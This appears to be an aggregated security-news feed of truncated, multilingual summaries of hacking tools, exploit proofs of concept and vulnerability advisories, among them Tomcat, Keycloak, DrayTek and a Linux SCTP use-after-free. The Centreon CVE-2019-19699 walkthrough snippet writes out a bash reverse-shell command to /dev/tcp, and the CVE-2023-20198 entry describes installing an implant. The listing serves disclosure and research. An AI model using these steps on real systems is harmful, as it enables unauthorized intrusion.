microctfs

microctfs Small CTF challenges running on Docker logviewer Build and Start logviewer challenge exposed on port 8000 root@kitploit: cd logviewer docker build -t logviewer . docker run -d -p 8000:80 --name logchallenge logviewer Restart logviewer challenge root@kitploit: docker rm -f logchallenge &...

MAL-002

MAL-002: فرض إعادة تشغيل النظام عبر ملفات MSI المثبتة في Windows بمجرد تثبيت برنامج بنجاح على النظام، ستظهر ملفات MSI موثوقة واحدة أو أكثر في مجلد “C:\Windows\Installer” وقد تسمح لمستخدم بصلاحيات منخفضة بتنفيذ إجراءات “الإصلاح” و/أو “التعديل” بصفة مستخدم “NT Authority\System” دون الحاجة إلى UAC...

kalitorify

Transparent Proxy through Tor for Kali Linux About kalitorify kalitorify is a shell script for Kali Linux which use iptables settings to create a Transparent Proxy through the Tor Network , the program also allows you to perform various checks like checking the Tor Exit Node i.e. your public IP...

needrestart

needrestart Informazioni needrestart verifica quali demoni devono essere riavviati dopo gli aggiornamenti delle librerie. Si ispira a checkrestart del pacchetto debian-goodies. Nella directory ex/ ci sono alcuni script hook da usare con apt e dpkg. Gli script chiameranno needrestart dopo ogni...

CVE-2023-20198

CVE-2023-20198 CVE-2023-20198 Prova de Conceito ! Descrição realizar ações em um servidor web alvo. O script demonstra como criar uma conta de usuário local, instalar um implante, reiniciar o servidor web, verificar a presença do implante e, finalmente, limpar excluindo a conta de usuário criada...

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous Klicken Sie auf Add , wie im Bild unten gezeigt. Wir erstellen nun eine Bash-Reverse-Shell als unseren Miscellaneous-Befehl. root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 Und klicken Sie auf Save. Nun navigieren wir zu Configuration...

CVE-2026-25643

Frigate NVR ≤ 0.16.3 Blind-RCE-Exploit CVE-2026-25643 PoC 📜 Beschreibung Dieser Python-Exploit zielt auf eine kritische Schwachstelle in der Konfigurationsmanipulation von Frigate NVR bis Version 0.16.3 ab sowohl authentifizierte als auch nicht authentifizierte Pfade. Durch das Einschleusen eines...

EUVD-2026-66130

Off-by-one Error vulnerability in Apache Tomcat impacting the N flag on the rewrite valves causes rewrite processing to restart at the second rule rather than the first rule. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.24, from 10.1.0-M1 through 10.1.57, from 9.0.0.M1 through...

CVE-2026-65927

Off-by-one Error vulnerability in Apache Tomcat impacting the N flag on the rewrite valves causes rewrite processing to restart at the second rule rather than the first rule. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.24, from 10.1.0-M1 through 10.1.57, from 9.0.0.M1 through...

CVE-2025-47176

CVE-2025-47176 PoC Browser Bridge Beschreibung Dieser Proof-of-Concept PoC demonstriert die Simulation der Sicherheitslücke CVE-2025-47176. Er injiziert ein manipuliertes E-Mail-Element in Outlook, das einen bösartigen Synchronisierungspfad enthält, der beim Scannen eine Aktion auslöst. WICHTIG:...

BIT-KEYCLOAK-2026-7507 Org.keycloak/keycloak-services: session fixation in oidc login flow that can lead to account takeover

A session fixation vulnerability was found in Keycloak's login-actions endpoints. An unauthenticated attacker could exploit this flaw by pre-creating an authentication session and tricking a victim into visiting a maliciously crafted link. By leveraging the /login-actions/restart endpoint—which...

CVE-2026-71933 DrayTek VigorSwitch Multiple Models Missing Authorization in Syslog Functions

Multiple DrayTek VigorSwitch models contain unauthorized operation vulnerabilities in multiple syslog functions. The vulnerability is caused by missing authorization checks. A remote attacker can trigger these vulnerabilities via crafted requests to modify configuration, restart services, save...

CVE-2026-71933

DrayTek VigorSwitch (multiple models) is affected by unauthorized operation vulnerabilities in its syslog functions , caused by missing authorization checks . A remote unauthenticated attacker can send crafted requests to modify configuration , restart services , save startup configuration , or c...

CVE-2026-74587

A flaw was found in the Linux kernel's Stream Control Transmission Protocol SCTP implementation. During peer restart handling, the system improperly releases a cached ASCONF chunk without clearing its pointer, leading to a use-after-free vulnerability. A remote attacker could exploit this by...

SUSE CVE-2026-74587

In the Linux kernel, the following vulnerability has been resolved: sctp: fix use-after-free of cached ASCONF chunk addiplastasconf caches the outstanding outbound ASCONF chunk. The normal ASCONF-ACK completion path releases the chunk and clears the pointer. However, sctpasconfqueueteardown...

CVE-2026-74587 sctp: fix use-after-free of cached ASCONF chunk

In the Linux kernel, the following vulnerability has been resolved: sctp: fix use-after-free of cached ASCONF chunk addiplastasconf caches the outstanding outbound ASCONF chunk. The normal ASCONF-ACK completion path releases the chunk and clears the pointer. However, sctpasconfqueueteardown...

CVE-2026-74587

A use-after-free vulnerability exists in the Linux kernel SCTP implementation. During peer restart handling, sctp_asconf_queue_teardown() releases the cached ASCONF chunk without clearing the addip_last_asconf pointer, leaving it dangling. A remote attacker can exploit this by sending a delayed a...

Linux Distros Unpatched Vulnerability : CVE-2026-74587

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - sctp: fix use-after-free of cached ASCONF chunk addiplastasconf caches the outstanding outbound ASCONF chunk. The normal ASCONF-ACK completion path releases the...

PT-2026-79592

In the Linux kernel, the following vulnerability has been resolved: sctp: fix use-after-free of cached ASCONF chunk addip last asconf caches the outstanding outbound ASCONF chunk. The normal ASCONF-ACK completion path releases the chunk and clears the pointer. However, sctp asconf queue teardown...

EUVD-2026-63751

IBM AIX 7.2, and 7.3 and IBM PowerVM VIOS 4.1 allows a remote unauthenticated attacker can send a crafted UDP packet to a reachable RPC service, resulting in complete system unavailability and requiring an LPAR restart...